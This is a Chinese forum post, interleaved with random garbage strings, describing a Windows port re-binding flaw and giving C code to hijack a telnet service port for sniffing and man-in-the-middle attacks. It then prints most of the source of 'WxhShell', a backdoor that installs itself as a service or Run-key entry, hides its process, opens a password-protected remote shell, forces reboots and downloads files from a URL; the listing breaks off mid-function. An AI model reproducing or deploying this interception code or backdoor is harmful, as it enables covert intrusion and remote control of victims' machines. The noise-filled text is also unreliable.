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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f^Lw3|rq4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;*[nZV>  
1Y_Cd  
  saddr.sin_family = AF_INET; A90o X1l  
KAT4C 4=,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7kp$C?7K  
2r^|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kTL{?-  
Wf +j/RxTi  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bO^#RVH  
5VDqx@(  
  这意味着什么?意味着可以进行如下的攻击: rp (nGiI  
c~K^ooS-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2xN1=ug  
4#{i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dd@qk`Zl&A  
!U/iY%NE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .;8T*  
9# IKb:9k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GNlP]9wX  
%(79;#2`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2j+v\pjYC  
za `  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Es/\/vF7]D  
DDsU6RyN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VPx"l5\  
^F"Q~?D)  
  #include mFC0f?nr  
  #include mzLDZ# =b  
  #include I9-vV>:z  
  #include    >jD,%yG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]cdKd)  
  int main() uW3`gwwlU  
  { WLma)L`L  
  WORD wVersionRequested; tIR"y:U+  
  DWORD ret; ( 6|S42  
  WSADATA wsaData; gNY}`'~hr  
  BOOL val; (p08jR '5  
  SOCKADDR_IN saddr; wuSp+?{5k  
  SOCKADDR_IN scaddr; u=JI 1  
  int err; .H {  
  SOCKET s; EbZRU65J}O  
  SOCKET sc; E5(\/;[*`  
  int caddsize; k>I[U}h  
  HANDLE mt; 2| $  
  DWORD tid;   mf ^=tZ  
  wVersionRequested = MAKEWORD( 2, 2 );  c %w h  
  err = WSAStartup( wVersionRequested, &wsaData ); @0S3`[/U  
  if ( err != 0 ) { uDJi2,|n  
  printf("error!WSAStartup failed!\n"); rnz9TmN:*1  
  return -1; - |n\  
  } Yq-Nk:H|  
  saddr.sin_family = AF_INET; -'*\KA@u  
   2 UU5\ jV6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |!NKKvf  
L s6P<"V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _C$JO   
  saddr.sin_port = htons(23); sS/#)/B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @.T(\Dq^  
  { v<c~ '?YzO  
  printf("error!socket failed!\n"); Bt[OGa(q  
  return -1; }>Gnp c  
  } +`O8cHx  
  val = TRUE; xs_l+/cZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~GZ!;An  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `!rH0]vy  
  { P#H|at  
  printf("error!setsockopt failed!\n"); Nn5z   
  return -1; 1:%HE*r  
  } uKHkC.g  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GP6-5Y"8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E~Eh'>Y(B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c |OIUc  
f|G,pDL x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @|! 9~F  
  { FjYih>  
  ret=GetLastError(); HQlhT  
  printf("error!bind failed!\n"); 9t:P1  
  return -1; \,| Xz|?C  
  } !mLQdkTE  
  listen(s,2); `oQ)qa_  
  while(1) V~ph1Boz2  
  { @|kBc.(]  
  caddsize = sizeof(scaddr); '# K:e  
  //接受连接请求  yG -1g0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *<?or"P  
  if(sc!=INVALID_SOCKET) $ K1 /^  
  { R?@F%J;tx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |_ZD[v S  
  if(mt==NULL) 'wB6-  
  { 7A'd55I4  
  printf("Thread Creat Failed!\n"); <20rxOEnf  
  break; yDh(4w-~gk  
  } PI@/jh  
  } \-3\lZ3qj  
  CloseHandle(mt); D5x }V  
  } QB p`r#{I{  
  closesocket(s); <>\s#Jf/  
  WSACleanup(); PF5;2  
  return 0; Ba==Ri8$  
  }   Gu} `X23  
  DWORD WINAPI ClientThread(LPVOID lpParam) `|@#~  
  { >Hb>wlYR  
  SOCKET ss = (SOCKET)lpParam; ." 9t<<!  
  SOCKET sc; s6Ox!)&  
  unsigned char buf[4096]; s *$Re)}S  
  SOCKADDR_IN saddr; ^M36=~j  
  long num; mv9k_7<  
  DWORD val; %%J)@k^vH  
  DWORD ret; pMZKF=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^~~&[wY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z@ AHe`A  
  saddr.sin_family = AF_INET; $t.i)wg +  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H>Wi(L7  
  saddr.sin_port = htons(23); &<8Q/m]5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H{Tt>k  
  { <X9  T}g  
  printf("error!socket failed!\n"); {.c(Sw}Eo  
  return -1; |^&n\vXv  
  } <-KHy`u  
  val = 100; m>dZ n  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Sj?u^L8es}  
  { W'2T7ha Es  
  ret = GetLastError(); -WiOs;2~/  
  return -1; "[(&$ I  
  } py#`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jM`)N d  
  { n^<3E; a  
  ret = GetLastError(); ]C.x8(2!f  
  return -1; V/w:^@5+p  
  } Exir?G}\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Cw`8[)=}o  
  { qFEGV+  
  printf("error!socket connect failed!\n"); ~P&Brn"=Rs  
  closesocket(sc); D5]4(]k&  
  closesocket(ss); c32IO&W4  
  return -1; &6!~Q,;K-  
  }  z.fh4p  
  while(1) |X&.+RI  
  { eeI aH >  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 27mGX\T  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !O=?n<Ex"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |<nS<x  
  num = recv(ss,buf,4096,0); I,4t;4;Zk  
  if(num>0) jtqH3xfy  
  send(sc,buf,num,0); `m2e *  
  else if(num==0) 52+;j[ ]/O  
  break; (eX9O4  
  num = recv(sc,buf,4096,0); v=!Ap ; 2L  
  if(num>0) 6{h+(|.(  
  send(ss,buf,num,0); &0B< iO<f  
  else if(num==0) 'u@_4wWp  
  break; 5Z2E))UU  
  } Jh1Q)05  
  closesocket(ss); scmn-4j'{  
  closesocket(sc); [e1kfw  
  return 0 ; Hg)5c!F7  
  } @**@W[EM  
yn&AMq ]o  
f tBbO8e  
========================================================== =gI;%M\'  
8`bQ,E+2  
下边附上一个代码,,WXhSHELL >:W7f2%8`  
>7@kwj-f)  
========================================================== =+um:*a.  
gucd]VH  
#include "stdafx.h" Lg[v-b=?I  
t;BvKH77  
#include <stdio.h> ENu`@S='I3  
#include <string.h> Be"Swz(n  
#include <windows.h> /8!s C D  
#include <winsock2.h> 5#jna9Xc  
#include <winsvc.h> HN'r ZAZ(  
#include <urlmon.h> =)Z!qjf1U  
Z4S0{:XY  
#pragma comment (lib, "Ws2_32.lib") eIVCg-l}  
#pragma comment (lib, "urlmon.lib") X8!=Xjl)  
Z2z"K<Z W  
#define MAX_USER   100 // 最大客户端连接数 7%rSo^t,L  
#define BUF_SOCK   200 // sock buffer a'R)3:S  
#define KEY_BUFF   255 // 输入 buffer D>& ;K{!  
Vp3 9`m-W  
#define REBOOT     0   // 重启 [~&C6pR  
#define SHUTDOWN   1   // 关机 npcB+6  
xEK+NKTeV  
#define DEF_PORT   5000 // 监听端口  & t b  
tCnx:1  
#define REG_LEN     16   // 注册表键长度 m5K B#\  
#define SVC_LEN     80   // NT服务名长度 ~50b$];y  
&{B-a  
// 从dll定义API oZvQ/|:p!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HnvE\t9`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q/w U7P\%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ucm 3'j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sA18f2  
tT7< V{i4  
// wxhshell配置信息 Zf~ [4Eeb  
struct WSCFG { 2u9^ )6/  
  int ws_port;         // 监听端口 jYwv+EXg  
  char ws_passstr[REG_LEN]; // 口令 !\{&^,y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4Q0@\dR9  
  char ws_regname[REG_LEN]; // 注册表键名 X|.M9zIx  
  char ws_svcname[REG_LEN]; // 服务名 @g|E b}t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 qw A N=3@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nJ/wtw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F?j;3@z[A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N*t91 X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r4Ygy/%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZdQm& ?  
y^; =+Z  
}; uA;3R\6?  
]+\@_1<ZI  
// default Wxhshell configuration /BWJ)6#H  
struct WSCFG wscfg={DEF_PORT, dZ!Wj7K)  
    "xuhuanlingzhe", `!MyOI`qS  
    1, mT57NP  
    "Wxhshell", iQ= %iou  
    "Wxhshell", hjiU{@q  
            "WxhShell Service", oOk.Fq  
    "Wrsky Windows CmdShell Service", _E5%Px5>L  
    "Please Input Your Password: ", QZufQRfr{  
  1, fgFBOpG%Gq  
  "http://www.wrsky.com/wxhshell.exe", <YbOO{  
  "Wxhshell.exe" $)| l#'r  
    }; W(*:8}m,p  
Wpom{-  
// 消息定义模块 9kPwUAw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5qco4@8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b6D}GuW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K?')#%Z/{#  
char *msg_ws_ext="\n\rExit."; RL>Nl ow  
char *msg_ws_end="\n\rQuit."; RVN"lDGA  
char *msg_ws_boot="\n\rReboot..."; 2,Y8ML<  
char *msg_ws_poff="\n\rShutdown..."; m{={a5GD  
char *msg_ws_down="\n\rSave to "; ^RkHdA  
&J|3uY,'j  
char *msg_ws_err="\n\rErr!"; 3j.Ft*SV  
char *msg_ws_ok="\n\rOK!"; ]UnZc  
Xu#\CYk  
char ExeFile[MAX_PATH]; "Kk3#  
int nUser = 0; 8F0+\40  
HANDLE handles[MAX_USER]; fk!wq. a  
int OsIsNt; 8VvoPlo  
L K9vvQz  
SERVICE_STATUS       serviceStatus; ] *{QVn(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hCO*gtA)M  
oS)0,p  
// 函数声明 zypZ3g{vz  
int Install(void); ).eT~e Gj  
int Uninstall(void); *IzcW6 [9  
int DownloadFile(char *sURL, SOCKET wsh); {+f@7^/i.  
int Boot(int flag); Df;FOTTi%  
void HideProc(void); =SLP}bP{:  
int GetOsVer(void); /LhAQpUQT5  
int Wxhshell(SOCKET wsl); XgKtg-,  
void TalkWithClient(void *cs); 9bjjo;A  
int CmdShell(SOCKET sock); i;^ e6A>  
int StartFromService(void); LBtVK, ?  
int StartWxhshell(LPSTR lpCmdLine); M;W{A)0i1  
9\*xK%T+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zMX7 #,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !TY4C`/  
7\^b+*  
// 数据结构和表定义 VL"ZC:n)-  
SERVICE_TABLE_ENTRY DispatchTable[] = sSOI5W3A  
{ +-,Q>`  
{wscfg.ws_svcname, NTServiceMain}, IoNZ'g?d  
{NULL, NULL} MoA2Cp;8X  
}; GFvZdP`s4  
`Oys&]vb  
// 自我安装 1W-t})!a  
int Install(void) T4T_32`XR  
{ '9GHmtdO,  
  char svExeFile[MAX_PATH]; kgK7 T  
  HKEY key; AW6]S*rh  
  strcpy(svExeFile,ExeFile); v:CYf_  
'#t"^E2$  
// 如果是win9x系统,修改注册表设为自启动 cl2@p@av  
if(!OsIsNt) { IDzP<u8v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BW:&AP@B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [7]p\' j  
  RegCloseKey(key); qB@]$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }.gDaxj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;: Hfkyy]  
  RegCloseKey(key); ~/[cZY @  
  return 0; po"M$4`9  
    } {AIP\  
  } RrLQM!~  
} 1*?IDYB  
else { XPzwT2_E  
=,-80WNsX  
// 如果是NT以上系统,安装为系统服务 ".v9#|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e`R*6^e  
if (schSCManager!=0) i>T{s-3v  
{ +n9&q#ah  
  SC_HANDLE schService = CreateService ^/R@bp#<  
  ( 1SkGG0 W  
  schSCManager, jD_(im5  
  wscfg.ws_svcname, 4cJ^L <  
  wscfg.ws_svcdisp, 9`.b   
  SERVICE_ALL_ACCESS, 8nES=<rz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6luCi$bL  
  SERVICE_AUTO_START, )QaJYC^+  
  SERVICE_ERROR_NORMAL, 0$ &Z_oJ  
  svExeFile, ?`\<t$M  
  NULL, >?M:oUVDU  
  NULL, #x#.@  
  NULL, 60~{sk~E  
  NULL, *~4uF  
  NULL e kI1j%fO  
  ); `]WU=Ss  
  if (schService!=0) (0D0G-r:  
  { *|$s0ga C  
  CloseServiceHandle(schService); F#4?@W  
  CloseServiceHandle(schSCManager); t K{`?NS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &Z=}H0y q  
  strcat(svExeFile,wscfg.ws_svcname); o'myo.k{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *v:+A E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }?*:uf  
  RegCloseKey(key); ]ZO^@sH  
  return 0; !i_5Xc H  
    } K]@6&H-b|  
  } 2|EH Ny!  
  CloseServiceHandle(schSCManager); H) q9.Jg  
} ZH_ J+  
} }K"=sE  
A &w)@DOe  
return 1; dSIMwu6u  
} kp<9o!?)  
XpOsnvW  
// 自我卸载 8 gOK?>'9  
int Uninstall(void) ?xK9  
{ Yl8tjq}iC  
  HKEY key; 5[I> l  
jSVb5P  
if(!OsIsNt) { QwOQS %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6JRee[  
  RegDeleteValue(key,wscfg.ws_regname); /CKkT.Le  
  RegCloseKey(key); xkUsZ*X8B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a+\ Gz  
  RegDeleteValue(key,wscfg.ws_regname); ~<v`&Gm?"  
  RegCloseKey(key); ~DqNA%Mb  
  return 0; o1zc`Ibd  
  } 3m7$$ N|  
} _sZ/tU@_-K  
} O|7q,bEm^  
else { Vize0fsD  
3h 0w8(k;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FD_0FMZ9,  
if (schSCManager!=0) 0%F C;v0  
{ ?\$77k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s.zH.q,  
  if (schService!=0) !6<2JNf  
  { ^N Et{]x  
  if(DeleteService(schService)!=0) { %<1fj#X8  
  CloseServiceHandle(schService); L$@RSKYp  
  CloseServiceHandle(schSCManager); ( }JX ]-  
  return 0; 22tY%Y9  
  } &??(EA3  
  CloseServiceHandle(schService); 5Odi\SJ&  
  } oH6(Lq'q  
  CloseServiceHandle(schSCManager); n6Q 3X  
} cY\-e?`=4  
} [`ttNW(_  
.vpQ3m>  
return 1; Qg9{<0{u  
} ~Gwn||g78  
gvA&F |4  
// 从指定url下载文件 8l!S<RA  
int DownloadFile(char *sURL, SOCKET wsh) L>@0Nne7  
{ Fdc bmQ  
  HRESULT hr; 1`aFL5[0$  
char seps[]= "/"; 6_zL#7E'  
char *token; `;cKN)Xk  
char *file; A*\4C3a'%  
char myURL[MAX_PATH]; '^Sa|WXq  
char myFILE[MAX_PATH]; .V/TVz!b  
^o?.Rph|i]  
strcpy(myURL,sURL); ctt5t  
  token=strtok(myURL,seps); D*D83z OzN  
  while(token!=NULL) Ih,~h[  
  { kP8Ypw&  
    file=token; Zls4@/\Q  
  token=strtok(NULL,seps); ?r'b Z~  
  } : ] Y=  
lZn <v'y  
GetCurrentDirectory(MAX_PATH,myFILE); qY14LdC}~  
strcat(myFILE, "\\"); B>?. Nr  
strcat(myFILE, file); $ P#k|A  
  send(wsh,myFILE,strlen(myFILE),0); o6vm(I%  
send(wsh,"...",3,0); Ypv"u0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /-BplU*"9  
  if(hr==S_OK) zI7-xqZ  
return 0; 1/le%}mK  
else mi97$Cr2  
return 1; ,dh*GJ{5  
PjsQ+5[>  
} _V8pDcY  
1Ll@ ocE  
// 系统电源模块 /}M@ @W  
int Boot(int flag) f0wQn09  
{ v`Sllv5bV  
  HANDLE hToken; x]a>Q),  
  TOKEN_PRIVILEGES tkp; _HGDqj L  
MHxv@1)K|Y  
  if(OsIsNt) { I9>1WT<Yy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W&bh&KzCW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &lGp /m:  
    tkp.PrivilegeCount = 1; ZB ~D_S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <7TpC@"/g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pOH_ CXw  
if(flag==REBOOT) { kk!}mbA_}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <'GI<Hc  
  return 0; u :m]-'  
} Q3oVl^q  
else { ?'h@!F%R'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =gfLl1wY[  
  return 0; :1.$7W t  
} /3+7a\|mKr  
  } $orhY D3gv  
  else { TAzhD.6C  
if(flag==REBOOT) { 1RcaE!\p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?"sk"{  
  return 0; rvr Ok  
} c>DAR  
else { PJ #uYM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u.!Pda  
  return 0; -} Z  
} t5eux&C  
} ~^VcTSY@<L  
s*]1d*B!  
return 1; H%])>  
} O'idS`   
{W0]0_mI(  
// win9x进程隐藏模块 % ;6e@U}  
void HideProc(void) urog.Q  
{ qvYw[D#.  
!T @|9PCp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :5CwRg  
  if ( hKernel != NULL ) *AxKV5[H  
  { \:" s*-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Bxm^Arc>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); elP`5BuN  
    FreeLibrary(hKernel); y4shW|>5_  
  } %AW  
#j;&g1  
return; DQ'+,bxk=9  
} vx-u+/\  
P5aHLNit  
// 获取操作系统版本 <ygkK5#q  
int GetOsVer(void) k ( R  
{ -M[5K/[  
  OSVERSIONINFO winfo; k`TEA?RfQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y l3iU:+V  
  GetVersionEx(&winfo); t0?BU~f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U15Hq*8Z  
  return 1; yY,.GzIjCj  
  else YjG0: 9  
  return 0; l<qxr.X  
} $9ON 3>  
/wvA]ooT  
// 客户端句柄模块 nTYqZlI,  
int Wxhshell(SOCKET wsl) jkPXkysm  
{ e1+ %c9UQ  
  SOCKET wsh; q:nYUW o   
  struct sockaddr_in client; Vr5a:u'  
  DWORD myID; Lw!@[;2  
1>|p1YZ"  
  while(nUser<MAX_USER) 8vaqj/  
{ !})+WSs'"s  
  int nSize=sizeof(client); \ &_ -  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >#>YoA@S  
  if(wsh==INVALID_SOCKET) return 1; wmT3 >  
:l*wf/&z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9 -TFyZYU  
if(handles[nUser]==0) J.O;c5wL  
  closesocket(wsh); 7dU X(D,?  
else 5Z;Py"%  
  nUser++; R$w=+%F  
  } "pHQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rtUd L,Hx  
t$UFR7XE  
  return 0; QR^pu.k@  
} y8,es$  
St&XG>nWS  
// 关闭 socket ][0HJG{{g  
void CloseIt(SOCKET wsh) [!aHP ?-  
{ )ns;S  
closesocket(wsh); o.j;dsZ  
nUser--; (S(=WG  
ExitThread(0); 8I~H1  
} R?]>8o,  
*W i(%  
// 客户端请求句柄 eL-92]]e  
void TalkWithClient(void *cs) W6jB!W  
{ {O!fV<Vx 9  
K$K[fcj  
  SOCKET wsh=(SOCKET)cs; %`g qV9a  
  char pwd[SVC_LEN]; ~%sDQt\S  
  char cmd[KEY_BUFF]; OGae]O<  
char chr[1]; ^(6.P)$  
int i,j; 4I2ppz   
Q0M8 }  
  while (nUser < MAX_USER) { -|ee=BV  
1zl@$ Nt  
if(wscfg.ws_passstr) { Wc+ e>*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  r5F#q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y6G[-?"/Q  
  //ZeroMemory(pwd,KEY_BUFF); <Ojf&C^Z  
      i=0; =8<SKY&\X  
  while(i<SVC_LEN) { V:IoeQ]-  
E7j]"\~i  
  // 设置超时 =>BT]WK>  
  fd_set FdRead; |NM.-@1  
  struct timeval TimeOut; }*+ca>K  
  FD_ZERO(&FdRead); U8.DPRa  
  FD_SET(wsh,&FdRead); 6:h!gY  
  TimeOut.tv_sec=8; KL -8Aj~  
  TimeOut.tv_usec=0; wGbD%=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7AtJ6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7Qq>?H -  
b},OCVT?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &uk?1Z#j  
  pwd=chr[0]; i@d!g"tot  
  if(chr[0]==0xd || chr[0]==0xa) { eBBh/=Zc  
  pwd=0; lYq R6^  
  break; "_5av!;A g  
  } BeplS  
  i++; )~!Gs/w6  
    } <hS >L1ZSr  
9BHl 2<&V  
  // 如果是非法用户,关闭 socket @3b0hi4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); II[qWs>RG[  
} YJr@4!j*  
dyu~T{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BDcl1f T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?2.< y_1  
3pl.<;9r  
while(1) { ^8We}bs-c  
Z;Tjjws  
  ZeroMemory(cmd,KEY_BUFF); 4J_18.JHP  
h`jtmhoz  
      // 自动支持客户端 telnet标准   ,wnF]K 2D0  
  j=0; Ak|j J  
  while(j<KEY_BUFF) { 3B;B#0g50  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |s s_<  
  cmd[j]=chr[0]; QvqX3FU  
  if(chr[0]==0xa || chr[0]==0xd) { v`no dI  
  cmd[j]=0; iiO4.@nT  
  break; ;l~gA|A  
  } tohYwXN  
  j++; QDSB <0j  
    } 2uqdx'^"  
H%sbf& gi  
  // 下载文件 &o)j@5Y?  
  if(strstr(cmd,"http://")) {  +/AW6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 80 p7+W2m  
  if(DownloadFile(cmd,wsh)) h!MZ 6}zb)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a}%>i~v<  
  else P^.L0T5g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G?YKm1:w   
  } h5B'w  
  else { z^=9%tLJ  
^bS&[+9E  
    switch(cmd[0]) { My=p>{s  
  _%"/I96'  
  // 帮助 l$.C40v  
  case '?': { .PxtcC.K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n802!d+Tn  
    break; }JvyjE  
  } ?2DYz"/')  
  // 安装 }0qgvw  
  case 'i': { #O`n Q  
    if(Install()) b+3{ bE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T2^ @x9  
    else lZ E x0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >'E'Mp.  
    break; g6 r3V.X'  
    } / 1E6U6  
  // 卸载 rN_\tulOF  
  case 'r': { =j }]-!  
    if(Uninstall()) C\ 9eR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3kQky  
    else q[**i[+%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XCQ =`3f  
    break; LLV:E{`p  
    } <C]s\ "o-`  
  // 显示 wxhshell 所在路径 :8\z 0  
  case 'p': { ~?S/0]?c  
    char svExeFile[MAX_PATH]; i!sKL%z}  
    strcpy(svExeFile,"\n\r"); 7e>n{rl  
      strcat(svExeFile,ExeFile); r!j_KiUy  
        send(wsh,svExeFile,strlen(svExeFile),0); ~eE2!/%9  
    break; z l@ <X0q  
    } y \V!OY@  
  // 重启 =][[TH  
  case 'b': { f~8Xue,l"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >`\~=ivrD  
    if(Boot(REBOOT)) 62a{Ggs{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '}]w=2Lf  
    else { mI?AI7DqK  
    closesocket(wsh); 57rc|]C  
    ExitThread(0); 2 ;U(r: ]  
    } 9boNB "h]T  
    break; |a/"7B|?\  
    } jD'\\jAUdm  
  // 关机 2Vt iL^;5  
  case 'd': { rS8/_'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H8rDG/>^  
